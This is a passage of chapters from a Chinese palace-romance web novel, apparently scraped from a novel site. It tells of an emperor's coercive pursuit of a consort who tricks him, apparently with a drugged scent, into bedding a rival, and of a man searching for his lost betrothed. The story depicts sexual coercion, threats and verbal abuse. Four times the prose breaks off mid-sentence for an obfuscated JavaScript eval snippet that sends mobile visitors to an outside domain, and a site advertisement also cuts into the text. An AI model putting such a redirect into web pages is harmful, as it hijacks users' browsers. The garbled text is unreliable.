"十五年前一场兵变......"李识衍的指尖深深掐进掌心,“沈将军殉国,沈家败落,迁往江南。彼时家父……也出了事,那段时间我们全家都沉浸在悲痛中。过了几年,我终于有能力去江南寻她了。可这才从沈夫人口中得知,他们当初一到江南阿星就丢了,我……找了她很久都没有找到她。” 书房里一时寂静,只有更漏滴水的声音。 带阿星回家,这是李识衍除了复仇之外,最在意最执着的事。 沈星离开他时,还不到十岁。 可那时他已经十五岁了,他不会忘掉阿星的样子。 第114章 他要占有她 长安城的流言像瘟疫般蔓延。 茶楼酒肆里,说书人拍着醒木绘声绘色:“那妖妃生得雪肤花貌,专在子夜吸食龙气……” 更有人信誓旦旦说入宫时的亲眼看见紫宸殿上空盘旋着黑雾。 …… 玄乎。 窗外夏雨淅沥,打湿了宫墙上的琉璃瓦,水珠顺着檐角滴落,在青石板上砸出细小的水花。 各部的奏折很快也呈了上来,祁蘅正在看。 赵德全从屋外进来,察觉到陛下自从看了今日这折子后,是脸都黑透了。 “陛下,钦天监监正求见。”赵德全躬身禀报。 祁蘅手中的朱笔微微一顿,墨汁在奏折上晕开一小片红痕。 他抬眸,眼底闪过一丝不耐:“宣。” 钦天监监正周玄龄战战兢兢地走进殿内,额头抵地:“臣叩见陛下。昨夜臣观天象,紫微垣旁有赤气贯之,此乃妖星祸国之兆啊!” 祁蘅面色一沉,手中的朱笔"啪"地搁在砚台上。 殿内瞬间安静得能听见铜漏滴水的声音。 “周爱卿,”祁蘅的声音不疾不徐,却透着刺骨的寒意,“你可知诽谤宫闱是何罪名?” 周玄龄浑身发抖,却仍坚持道:“臣不敢妄言。只是近来民间多有传言,说昭妃娘娘狐媚惑主,致使陛下专宠一人,荒废朝政。加之天象示警,臣不得不报。” 祁蘅冷笑一声:“民间传言?朕倒要查查清楚,是谁在背后兴风作浪,说出的地这些民间传言。” 他抬起一双寒眸,对赵德全道:“去查查,这些谣言从何而起。” 目光落回了周玄龄身上,声音沉了几分:“若是叫朕查到,并非天相而是人为,今日这些上折子的,一个都跑不了。” 周玄龄吓了一跳,一时之间抖如糠筛,如临大难。 —— 一直到入夜,宫人才小心翼翼的提醒祁蘅。 “陛下,该用晚膳了。” 祁蘅这才惊觉窗外已是暮色四合。 他揉了揉太阳穴,起身时一阵眩晕——为了这些破折子,他已经两日未曾好好休息了。 “紫宸殿那边……” 宫人如实回答:“回陛下,派去照顾昭妃娘娘的人来报,娘娘今日只用了半碗清粥,便说没胃口了。” 祁蘅胸口一窒。 她吃的这么少如何是好? 祁蘅起身,说晚膳去紫宸殿吃。 第115章 朕陪你出宫 祁蘅的唇重重压下来,桑余下意识地偏过头去。 他的吻落在她唇角,带着灼人的温度与压抑已久的渴望。 “别躲……”祁蘅扣住她的手腕按在枕边,声音沙哑,听起来像是在祈求,又像是命令:“阿余,别躲我。” 祁蘅扣紧了桑余的手腕将她压在床榻上,吻如同雨点一样落在她颈间,呼吸混乱:“朕是你的男人,你是朕册封过的昭妃,我们是天经地义的,朕疼你也是天经地义的……” 桑余听见这些话,却始终麻木。 她挣扎了两下,很快意识到徒劳,便闭上眼睛,如木偶般任他摆布。 祁蘅见她松了力气,以为她接受自己了,停了一下,便又吻的更深,甚至因为欣喜而颤抖。 可下一瞬,祁蘅身体却又顿住了。 因为他吻到了咸涩的眼泪。 桑余在哭。 她没有接受自己,她只是无力反抗。 祁蘅如梦初醒般停下。 他撑起身子,声音里带着不解与痛苦,“沈康没死,朕留了他性命,你为什么还是不肯原谅朕?” 桑余睁开眼,目光平静到有些可怕:“臣妾没有不原谅陛下。”她轻声反问,“臣妾不是随您临幸了么?” 祁蘅的指腹抚过她湿润的眼角,声音发颤:“可你就是和以前不一样了……” “陛下。”桑余忽然抓住他的手,按在自己衣襟上,往下拽开么衣领:“你看到这些疤了吗?” 她引着他的手一寸寸抚过那些凹凸不平的伤痕,“看到这残缺的身体了吗?” 祁蘅的手开始发抖。 “你第一次看见的时候,就被吓到了,你把衣服盖在我身上就走了,那个眼神,仿佛是看到了恶心不堪的东西。就算后来,你与我亲近,也每次都要熄烛,是为了什么呢?” 桑余笑了笑,带着对祁蘅的了解和嗤之以鼻,缓缓道,“连您都不忍直视的伤痛,臣妾又怎么可能和以前一样?” 祁蘅如遭雷击。 桑余看他似乎是没了兴致,便将他推开了一些,缩到了一旁。 “臣妾没有怨恨陛下的意思,这些伤都是臣妾曾经杀人留下的代价而已。只是我……怕疼,这些伤如今还会疼,陛下这样,也会让我疼,所以我才会哭而已。” 这句话像一盆冰水浇在祁蘅头上。 他听完她的话,颓然松开了钳制,闭上眼,将脸埋进她的肩膀,呼吸沉重。 他的内心的几乎要被桑余这些轻飘飘话给彻底粉碎。 许久,祁蘅才闷声道:“方才……是朕太荒唐,以后不会了。” 他起身下床,为桑余拢好散开的衣襟,指尖小心翼翼避开那些伤痕,仿佛触碰珍宝。 做完这些,祁蘅又扯过被子盖住她单薄的身子,说:“你歇着吧。” 殿门关上的声响惊飞了檐下夜栖的雀鸟。 第116章 方才不是说很满意? “不必。”桑余打断他,“臣妾只想确认一下师父安好,这就够了。” 祁蘅看她:“你还是不信朕?” 桑余垂眼:“世事无常,臣妾只是不信其他人。毕竟陆氏始终想除了师父给冯相铺路,不是么?” “没有人知道沈康还活着。” “陆晚宁也不知道么?” 祁蘅拢起眉头,说道:“朕连你都没有告诉,怎么可能告诉她?” 桑余这句话像把薄刃,精准挑开祁蘅竭力维持的平静。 他放在腿上的指节逐渐叩紧:“朕连你都没有告诉,怎么可能告诉她?” “是么。” 桑余唇角勾起凉薄的笑,这很难信啊,祁蘅和陆晚宁之间,恐怕无话不说吧。 这笑意刺得祁蘅太阳穴突突直跳。 他忽然倾身逼近,苦口婆心的解释:“这些时日,朕对她,对你,你还不明白?还不满意?难道你一点都看不出朕是真心心悦你,和从前对陆晚宁别无他二!” 桑余后颈绷出脆弱的弧度。 是,她感觉到了。 祁蘅对她的确很好,有时候甚至会冷落了陆晚宁。 可喜欢就是喜欢,不喜欢就是不喜欢。 喜欢一个人的时候,他不论对自己如何,桑余都能甘之若饴。 可现在不喜欢了,他再是殷勤,桑余也觉得麻木,甚至反感。 况且,祁蘅的这份喜欢,太过易碎,又夹杂着权衡利弊,稍纵即逝,她怎么敢信? “臣妾很满意,臣妾谢主隆恩。”她嘴角微扬,放软了声调, 不能在这时激怒他,至少……至少要先见到师父平安。 马车突然颠簸了一下,桑余整个人顺势栽进祁蘅怀里。 祁蘅慌忙扶稳了她。 桑余惶恐的撑着他胸膛要起身,却被铁钳似的手掌扣住后腰。 “躲什么?”祁蘅冷笑,掌心温度透过衣料灼烧着她肌肤,“方才不是还说满意?” 说完,便盯着她的眼睛,戏谑的看她的反应。 桑余浑身僵硬。 快到鸿胪寺了,马上就要见到师父了,她不想在这个时候做这种难堪的事。 桑余几乎用尽全力挣扎,祁蘅也控制不住,直至她猛的脱力,向后重重撞在车壁上。 祁蘅眼中的轻佻转瞬化为惊诧和心疼:“你这是何必……” 第117章 桑余很主动 祁蘅现在,总算是把她的软肋拿捏的死死的了。 桑余冷笑了笑,闭上眼,妥协一般,说:“好。” 祁蘅知道,桑余又在妥协。 他提醒道:“桑余,如果你再敢背着朕喝避子药,沈康就算去了北狄,朕也可以灭了北狄。” “……好。” 桑余依旧只是麻木地重复。 反正祁蘅来来去去不是威胁就是强制,她已经不知该怎么去反抗了。 祁蘅又被她这副模样刺痛,一把伸手将她拉入怀中。 桑余僵硬得像块木头,任由他抱着。 祁蘅的下巴抵在她发顶,声音忽然软了下来:“阿余,你就当给朕一个机会……我会向你证明,我能保护好这个孩子。” 桑余没有说话,马车又回到了皇城。 她麻木地睁着眼睛,看着窗外掠过的朱红宫墙,在心里冷笑:她才不要给祁蘅生孩子。 绝不。 —— 陆晚宁正在修剪一盆牡丹。 宫女青黛恭敬说道:“娘娘,昭妃前来求见。” 闻声,陆晚宁手中的金剪“咔嚓”一声剪断了一枝含苞待放的花骨朵。 她盯着那截断枝皱起了眉,“她来做什么?” 青黛也觉得匪夷所思:“她还说……您今日若不见她,一定会后悔。” 陆晚宁嗤笑一声,轻飘飘的说道:“本宫不去找她麻烦,她倒是主动来招惹我。好,宣她进来,我倒要看看,我会怎么后悔。” 桑余踏入殿内,陆晚宁端坐在主位,一袭正红凤袍衬得她肤白如雪。 两人目光相接,空气都冷了几分。 “稀客。”陆晚宁唇角勾起一抹讥诮的弧度,“你今日怎么有空来本宫这儿?是来炫耀上次阿箬一事,你赢了么?” 桑余不想提起阿箬。 那场赌局,她们都没赢,只有阿箬输了,把命也输了。 桑余径直走到陆晚宁面前,直视着她的眼睛,单刀直入:“我是来帮你的。” 陆晚宁修剪得精致的眉毛高高扬起:“帮我?”她嗤笑一声,目光瞬间冷下来:“你是什么东西,本宫需要你来帮?” “我不喜欢陛下,也不想给他生孩子。”桑余的声音坚定又 冷漠。 这样的直接像一把利刃劈开了陆晚宁强装的镇定。 “你说什么?” 桑余继续道:“可陛下想要一个孩子。这宫里只有你敢与我做这个交易。” 陆晚宁手中的茶盏“砰”地落在案几上。 她盯着桑余看了许久 陆晚宁忽然笑了:“你不怕陛下一怒之下杀了你?” 桑余神色未动不在意道:“那样最好。” 陆晚宁看出来了桑余根本不怕死。 她自然也不怕。 如果一直在后宫当一个无所出的贵妃又能当多久? 她必须要争取一把不管用什么代价都要把祁蘅抢回来。 “你说你想怎么做?” 桑余抬眼晨光透过雕花窗棂在她脸上投下细碎的光影却让她的眼眸愈发凉薄:“今夜陛下会来我宫中到时候你只需要按照我说的做。” 陆晚宁瞳孔微缩。 她当然明白桑余的意思这个提议太大胆太危险却也……太诱人。 如果成功她不仅能重获圣宠还可能怀上龙嗣。 而桑余竟然愿意将这样的机会拱手相让? 桑余自然知道她在怕什么。 “你是不信陛下对你的心意么?他就算发现恐怕也不会迁怒于你你们又不是初次。” 陆晚宁微微僵硬。 她…… 她和祁蘅其实连初次也没有。 但为了不让桑余小看自己陆晚宁强撑出得意的笑说道:“是啊我们当然不是初次陛下在北境时就常疼爱于我。若不是你我早就诞下龙嗣了!” 桑余笑了笑:“所以我把你该拥有的还给你。我已经告诉过你我的目的了应不应随你。” 桑余说完便起身准备离开。 陆晚宁看着她的背影忽然站了起来追问:“你为什么一定要用这个方式?” 如果祁蘅真的很喜欢她那事情败露后他心里得多难受。 她不是最爱他么? 难道就一点都不在意? 桑余步子未停只是说:“第一只有你敢不计后果与我做这个交易。 第二,他近来……似乎又糊涂了,以为自己爱我,我想帮他认清一下自己的心。 因为桑余见过祁蘅对自己的凉薄,所以才不会信他这一时半刻的好。 如果他想明白了,又念起陆晚宁的好,就会放弃让她生孩子的念头了。 —— 傍晚时分,祁蘅果然来了。 他似乎喝了些酒,眼中露出些许的松懈和疲惫。 桑余已经换上了素白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799173|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寝衣,长发披散,**在床榻边。 烛火在她脸上投下摇曳的阴影,衬得那双眼睛愈发幽深。 祁蘅褪去龙袍,进了屋子,见到绯红床榻纱幔之间桑余的白色身影,心中微微一动。 他甚少见过桑余会这么乖巧的等他。 祁蘅心中莫名的升起一阵满足,填满了胸腔。 祁蘅快步走近她,伸手想去握她的手,却又在半空中停住。 他想起上次桑余说他每次临幸都要熄灭蜡烛,便柔声道:"这一次,朕不熄灯了。朕说过,朕真心心悦你,便就会接受你所有的疤痕……" 桑余却忽然垂下眼,偏过脸,小声说道:“还是熄了吧。 祁蘅皱眉,还想说什么,桑余已经起身去灭烛。 她吹灭蜡烛,殿内顿时陷入黑暗。 祁蘅以为她是怕羞,或是难以接受那些疤痕暴露在自己面前。 他有些心疼,想说什么,却又怕提起她的伤心事,便决定不强求。 “阿余? 祁蘅没再听到桑余回来的声音,便起身摸索着向前。 忽然闻到一股若有若无的香气。 那香味很特别,像是雪后的梅花,又带着一丝甜腻。 没过片刻,祁蘅只觉得浑身都莫名燥热起来。 他以为是今日多喝了酒的缘故。 一双微凉的手忽然从身后蒙住了他的眼睛。 祁蘅呼吸一滞,转身将人搂入怀中,声音带笑。 “阿余,你吓唬朕…… 桑余没说话,只是缓缓的,试探的搂住了祁蘅的腰,轻轻附到他耳边,暧昧纠缠。 桑余是第一次这么主动,主动的吻他,抱他。 祁蘅本就燥热难耐,这样浅尝辄止的挑逗让他一瞬间什么也顾不得了,低头就吻上那柔软的唇瓣。 怀里的人僵硬了一瞬,随即软化在他怀中。 祁蘅满足地叹息,以为桑余终于放下了芥蒂。 他急切地扯开对方的衣带,指尖触到光滑如缎的肌肤时,心中闪过一丝异样——桑余身上应该有疤的。 但这个念头很快被汹涌的情欲淹没。 他抱起怀中人走向床榻,在对方耳边低语:“阿余,朕真的很喜欢喜欢你…… 身下的人猛的一顿,但随即恢复如常,更加主动的迎合祁蘅, 殿内,祁蘅在情欲的浪潮中沉浮,全然不知自己怀中抱着的,早已不是心心念念的那个人了。 第118章 晚宁比你好 祁蘅从一场旖旎的梦中醒来,纱帐凌乱的坠在床榻上。 他唇角还带着餍足的笑意,伸手握住从身后搂住自己的那只手,温柔地放在鼻尖轻吻。 忽然,祁蘅睁开了眼睛,顿时清醒。 这只手太过细腻柔软,纤细柔弱。 可桑余的手明明因为常年练武而长满了茧…… 一股寒意从脊背窜上来,祁蘅猛地转身,对上了陆晚宁惺忪的睡眼。 “陛下你醒了?”陆晚宁迷迷糊糊地攀附上他的胸膛,声音带着餍足的沙哑,“昨夜您都弄疼臣妾了……” 祁蘅如遭雷击,一把推开她坐起身。 锦被滑落,露出床单上刺目的落红。 祁蘅的太阳穴突突直跳,声音因为震惊而扭曲:“怎么是你?桑余呢?这里不是紫宸殿?” 陆晚宁慵懒地支起身子,乌发如瀑垂落在雪白的肩头。 她看着祁蘅骤变的脸色,眼中闪过一丝委屈:“昨夜臣妾来昭妃姐姐这里喝茶,您来了,远远看见臣妾便抱着不放开……”她故意顿了顿,“臣妾本就是您的妻,自然就应了陛下。” “不可能!”祁蘅暴怒地掐住她的脖子,手指收紧,“朕明明看到的是桑余!她人呢?” 陆晚宁被他掐得咳嗽一声,却没有挣扎。 她艰难地勾起唇角,不疾不徐的反问:“这里是紫宸殿,臣妾怎么会知道?” 祁蘅咬紧牙槽,竟对陆晚宁生出杀意。 陆晚宁看他愈发冰冷的眸子,面色也凝重起来,不敢再刺激他。 “陛下,臣妾……的确不知道。” 祁蘅猛地松开手,踉跄着下床,一脚踢翻了前来伺候的太监,自己开始穿衣。 他怎么也冷静不下来,腰带系了三次才系好。 奴才跪在地上瑟瑟发抖,额头磕出血也不敢抬头。 陆晚宁也没想到,不过是临幸了自己,他就害怕成这样? 又不是黄花大闺女,怎么跟自己玷污了他一样? 祁蘅一脚踹开殿门,刺目的阳光照得他眼前发黑。 他抬手遮了遮,看见庭院中一个熟悉的身影。 桑余。 她穿着素白的常服,发间只簪一支木钗,正温柔地抚摸着祁翎的发顶。 孩子手里捧着一只拿野花编成的花环,仰着小脸对她笑。 祁蘅的胸腔剧烈起伏。 他大步走过去,一把攥住桑余的手腕,眼底猩红的大声质问:“昨夜到底怎么回事? 桑余被他拽得一个趔趄,第一时间护住了祁翎。 她面色平静,声音冷淡:“别吓坏孩子。随即转头对呆立的嬷嬷道,“送小王爷去夫子那里。 祁翎被匆匆抱走,院子里只剩下他们二人。 祁蘅的声音都有些颤抖,因为太过愤怒,最后一句话几乎是咆哮出来的? “你设计朕?你让陆晚宁……桑余,你真的疯了! 桑余冷淡反问:“我做什么了? 祁蘅欲言又止,此刻,昨夜那些缠绵的画面在脑海中闪回,他以为是柔情,现在想来全是讽刺。 桑余静静地看着他,眼中再无往日的畏惧或柔情。 她甚至轻轻笑了笑:“陛下不是一直想要个孩子么?臣妾体弱,怕是难以承受龙种。贵妃娘娘凤体安康,再合适不过。 “你明知道朕要的是你的孩子!祁蘅失控地怒吼,手指几乎要捏碎她的腕骨,“所以那日出宫,你对我的应允,昨夜的温柔,都是骗朕的! 桑余垂下眼帘,长睫在脸上投下阴影:“臣妾没记错的话,陛下说过,与陆贵妃是两情相悦,彼此深爱,所以我觉得,我没错。 这句话彻底击碎了祁蘅的理智。 他猛地将桑余按在廊柱上,另一只手掐住她的下巴:“你恨朕到这种地步?宁愿把朕推给别的女人? 桑余被迫仰头看他,呼吸因为疼痛而急促,眼神却依旧平静:“臣妾只是……物归原主。陆贵妃千金之躯,相比臣妾,定然能将陛下伺候的更好不是么? “物归原主? “是! 这个字在庭院中回荡,震得祁蘅耳膜生疼。 祁蘅踉跄后退几步,仿佛被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799174|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人当胸捅了一刀。 他踉跄两步才勉强稳住稳住身形, 指尖颤抖:“桑余你什么时候变得这么冷心冷情?对朕一点心软都不肯?” 桑余静静站着晨风吹起她素白的衣角像随时都会随风而逝。 她没有回答但那眼神已经说明一切——这难道不是明摆着的事吗? “呵……”祁蘅低笑出声笑声里带着几分偏执“你以为你出了宫就能过上好日子?” 他猛地逼近桑余眼中闪烁着恶意的光芒 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节)“除了朕谁会施舍你这样一个满身疤痕的贱婢?给你锦衣玉食的生活?” 桑余微微勾起唇角:“陛下说得对臣妾确实……配不上。这些话你也曾说过很多次我从没忘。” 这顺从的态度反而让祁蘅更加愤怒。 “你利用完朕放走了沈康让朕替你杀了阿箬现在你却拿这些事当成刀扎在朕的心上。桑余!你的心怎么能这么狠?你对得起朕对你的好吗?” “陛下”桑余轻声打断他“你看你总是说你给了我什么所以要我同等回馈你什么。我们之间从来就是施舍与承受的关系没有两厢情愿。“ 她抬起眼黑眸深不见底“现在我不想要了就这么简单。” 祁蘅突然感到一阵恐慌。 他习惯掌控一切习惯桑余逆来顺受却从未想过有一天自己会对她不知所措。 这种失控感让他几乎口不择言:“呵呵呵……早知道朕就不该赐死阿箬!留她在身边也好让你知道朕不是非你不可!” 他又说:“你说得对晚宁比你要好得多。她知道如何讨好朕不像你……"他戏谑地笑了笑“在榻上就像条死鱼还带着一身令人作呕的疤熄了灯也遮不住!” 这些话像刀子一样不知道有没有扎进桑余的心里总之祁蘅的胸口也疼了起来。 他明明是想羞辱她为什么最后难受的却是自己? 他明明知道桑余不喜欢听到这些话。 第119章 找到阿星了 “好!很好!”祁蘅猛地后退两步,眼中逐渐凉薄。 母妃说的没错,这世上,一切能影响自己心性的人,不管是谁都留不得! 他虽然做不到杀了桑余。 可他,能让桑余后悔这么背叛自己。 “你是不是真的以为,朕没有底线,可以容忍你,一次一次的,凌驾于朕之上?” “你真的以为,朕爱你爱到了玩物丧志的地步?” “既然你这么想离开朕,朕成全你!” 他转身对跪了满院的宫人厉声道,“传朕旨意,昭妃桑氏,恃宠而骄,目无君上,即日起褫夺封号,贬为宝林,迁居清梧院!没有朕的旨意,不得踏出院门半步!” 宫人们吓得瑟瑟发抖,连头都不敢抬。 折腾了一年,又回到了一开始的地方,任谁能接受得了? 桑余却缓缓跪下,行了一个标准的大礼:“臣妾谢陛下恩典。” 这平静的态度彻底激怒了祁蘅。 他一把抓起树下石几上的茶盏狠狠摔在地上,瓷片四溅。 可他却觉得喉咙疼的厉害,最终只说了一句:“桑余,你一定会后悔的。” 桑余头也没抬,只是静静跪着。 祁蘅站在原地,看着满院狼藉,还有一个离自己越来越远的桑余,突然觉得无比疲惫。 他贵为天子,坐拥天下,却连一个女人的心都留不住,无可奈何。 他转身往外走了。 许久后,有一阵脚步缓缓而近,停在了桑余身边。 “你也真是不识好歹。”陆晚宁不知何时出现,声音娇媚,“把陛下惹成这个样子,现在成了宝林,可真是活该。” 桑余冷冷扫了她一眼:“你,也滚。” 陆晚宁面色凝固,随即转为得意:“别生气嘛,你帮了本宫这么大忙,本宫还真不知该如何感谢才好。今后,会在清梧院多关照你的。” 她的关照一定不是什么好的关照。 桑余头站起身,往内殿走:“以后,你和他都离我远一点就够了。” “桑余!你就当真一点也不难过?”陆晚宁急忙跟上,不甘心的追问,“昨夜陛下在榻上,可对我是那样热烈又温柔……” “陆晚宁。”桑余突然停下 ,回头,眼神平静得可怕,“你是不是以为,你说的这些话,他对你的温柔,会让我难过? 陆晚宁一愣:“不是么? 女子入了宫,追求的不就是这些吗? 桑余一字一句的告诉她:“或许以前是,以前我把他看的很重很重,你的确可以靠这些小手段伤我的心。可现在……她看了看门外,鄙夷的笑了笑:“离开他,才是我想要的。至于你…… 她上下打量了陆晚宁一眼,“不过是个工具罢了,还真以为,祁蘅很喜欢你? 陆晚宁脸色骤变:“你! 她扬起手就要打下去,却被桑余一把抓住手腕。 “省省吧,桑余甩开她的手,“有这个精力,不如想想怎么留住他。 她转身往里而去:“毕竟他可不是什么长情的人。 陆晚宁站在原地,突然感到一阵莫名的寒意。 桑余和昨晚求自己帮忙时,判若两人。 或许,她要的就是这个结果。 被褫夺封号,贬为最低贱的宝林。 竟然会有人,不想在宫里要地位要荣宠? 陆晚宁这才明白,自己其实从未真正看透这个看似温顺的女人。 桑余不想在这住下去了,清梧院好歹还有片刻自由,总好过待在他身旁。 —— 祁翎闷闷不乐,一个字也看不进去。 李识衍将他写的字还给他,说:“小王爷,不用心,可写不出好字。 祁翎嘟了嘟嘴,垂下眼睛说道:“皇兄和皇嫂又吵架了,皇嫂发了好大的脾气,褫夺了她的封号,以后她就不是昭妃了。皇兄对皇嫂一点也不好,还不如从前…… 李识衍对这些后宫之事不感兴趣,只是常常听祁翎提起圣上和这位昭妃的事。 可他听见祁翎说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799175|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一句话时,整个人就僵在原地。 祁翎说:“以后我不要叫她皇嫂了,她做这个妃子做的一点也不开心,以后我就叫她桑余姊姊! 桑余…… 祁翎天真无邪的声音像一道闪电劈进李识衍的脑海。 他手中的宣纸瞬间被攥皱,墨迹晕染开来,在纸上洇出一片混沌的阴影。 “夫子?祁翎被这突如其来的反应吓了一跳, 下意识捂住嘴巴“我、我是不是又说错话了?” 李识衍这才惊觉失态。 他深吸一口气蹲下身 祁翎点点头大眼睛里满是困惑:“是啊就是皇兄最宠爱的昭妃娘娘。不过现在不是了皇兄生气了把她贬为什么……宝林?” 他歪着头回忆嬷嬷们私下议论的话“后面的我还没听清嬷嬷就把我抱到你这里来了。” 李识衍的指尖无意识地掐进掌心呼吸都有些凌乱。 “夫子认识我皇嫂?”祁翎好奇地问。 李识衍勉强扯出一个笑容:"不只是……听你常说便有些好奇。” 他顿了顿又试探着问“小王爷可知这位娘娘的来历?” 祁翎摇摇头:“桑余姊姊好像一直就在宫里和皇兄一起长大的。” 他忽然压低声音像分享什么大秘密“我听嬷嬷们说她以前是皇兄的贴身宫女!” 贴身宫女……李识衍的眼神暗了暗。 如果真的是一起长大又怎么会让她受那么多的伤? 如今就把她贬为宝林? “小王爷”李识衍的声音不自觉地放轻稳住心神问道:“能帮在下一个忙吗?” 祁翎眼睛一亮:"夫子尽管说!" “帮夫子打听一下……”李识衍斟酌着词句“那位被贬了的娘娘如今确切在何处。” “好!我一定帮夫子找到。” 暮色渐沉宫墙的轮廓在夕阳中显得格外森严。 “小王爷”李识衍尽力保持声音平稳“今日的课就到这里。记住夫子交代的事但……莫要声张。” 第120章 她是我李识衍的妻 暮色四合,李识衍站在摘星楼最高处的窗前。 窗外民灯泛泛,长安城的繁华尽收眼底。 他知道,自己又离阿星近了一些,所以他怎么也冷静不下来。 “少主。”宋元悄无声息地出现在门口,声音压得极低,“查到了。” 李识衍回过神来,眸色渐冷,手指扣紧了扇子:“说。” “那位昭妃姑娘是乞丐出身,十一岁那年被当今陛下的生母惠嫔带回宫中,赐给当时还是皇子的陛下做贴身宫女。说是宫女,实则,是死士。” 李识衍猛地转身看向宋元,只觉得心脏仿佛被一柄无形的利刃刺穿。 “死士?”声音几乎是从李识衍牙缝里挤出来的,“你说……她从小给别人当……死士?” 宋元沉重地点头。 李识衍几乎快要喘不上气,他的阿星,在本该穿着花裙撒娇的年纪,却被逼着学习**之技? 宋元递上一卷密报,“知道她过去的除了当今圣上和已故的惠嫔,就只有一位叫沈康的将军。” 李识衍展开密报,眉头越皱越紧:“沈康?那个将军,他不是已经……” “表面上是战**,实则几天前就被秘密送去了北狄。” 宋元低声道,“属下查到,三日前有一队北狄商队入关,其中一辆马车行迹可疑,很可能就是沈康。” 李识衍的眼神骤然锐利:“位置?” “今夜应该就到禹城的竹林了。” —— 禹城竹林。 夜风穿过竹叶,发出沙沙的响声。 沈康坐在马车内,隐隐察觉到什么。 今晚太静了,静得不正常。 “将军……”随行的侍卫刚开口,一支羽箭破空而来,正中他面前的轿门。 “敌袭!”侍卫厉喝一声。 与此同时,沈康踹开车门翻滚而出。 几乎同时,三支箭钉在了他刚才所在的位置。 竹林间人影绰绰,至少有二十名黑衣人无声地包围了车队。 沈康看着围过来的刺客,一片幽冷杀机,冷笑了笑:“陛下就这么迫不及待要灭口?” “沈将军,不用怕,在下只是想找你问些事情。 沈康循声望去 只见竹林深处不知何时出现了一位公子缓缓走到凉薄的月光下白衣卿画温润内敛。 月光下面容如玉气质清贵与周围肃杀的氛围格格不入。 “摘星楼?”沈康眯起眼睛。 李识衍缓缓抬头眼中含笑:“看来沈将军很聪明。” 沈康嗤笑一声:“能查到我还活着又能精准拦截除了摘星楼我想不出第二家。” 他看着李识衍 李识衍挥手示意黑衣人退下:“将军多虑了在下今日前来只想问你几个问题。” “是冯相还是大司马?” 李识衍缓缓向前月光在他身上镀了一层银边“与他们都没关系。在下今日前来只为打听一个人的下落。” 沈康挑眉:“谁?” “桑余。” 沈康面色一冷笑容一点点隐去眼中浮现杀意。 “你找她做什么?” “十年前沈重将军因**叛军而故其女沈星也下落不明……” 他的声音微微发颤“后来她入了宫改名桑余她的武功也是你教的是么?” 一瞬间沈康浑身失了力气仿佛从头到尾被一盆凉水浇透。 沈康的声音嘶哑至极眼神里满是不可置信:“你……你怎么会知道这些?” 李识衍不回答直勾勾盯着他:“你可知她为何会在宫中待这么多年?她应该记得自己的过去不会就这么心甘情愿的留在那里的。” 沈康的呼吸急促起来手指无意识地攥紧指节泛白。 他别过脸避开李识衍的视线:“我不知道。” “沈将军”李识衍逐渐靠近一张玉面下尽显杀意寒意砭骨:“你知道的不要试图诓骗摘星楼的人。” 沈康手指微僵抬眼反问:“你是谁?你找她又是为了什么?” 李识衍一怔眸色暗了暗:“是不是我告诉你你才会告诉我真相?” 沈康双眸逐渐冷静:“是。我至少要确认你是不是会给她带来危险。” 李识衍冷冷凝着他一字一句仿佛在此刻说出了这十多年 来所有的不甘和苦楚,几乎要泣血:“她,是我指腹为婚,自小定下的妻。 沈康猛地抬头,眼中闪过一丝不可置信的震惊。 “指腹为婚? 李识衍冷眸几欲滴血:"李家与沈家二十多年前就定下婚约,她本该是我的妻子。" 话音落地,良久的沉默。 沈康怔愣了许久,才逐渐回过神来。 是啊,他忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799176|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,桑余……又不是真正的桑余,她在成为桑余之前的那些过往,不记得,并不代表不存在。 只是没想到,十多年了,竟然还会有一个人,一直持之以恒的找她。 “她不该记得的…… 李识衍的眼神骤然一厉:“什么意思? 沈康的喉结滚动了一下,半晌才艰难地开口:“当年……惠嫔带她入宫时,她发了一场高烧,惠嫔趁机给她喂了一种药让她忘掉所有,她醒来后什么都不记得了。 他的声音越来越低,“惠嫔说……这样最好。 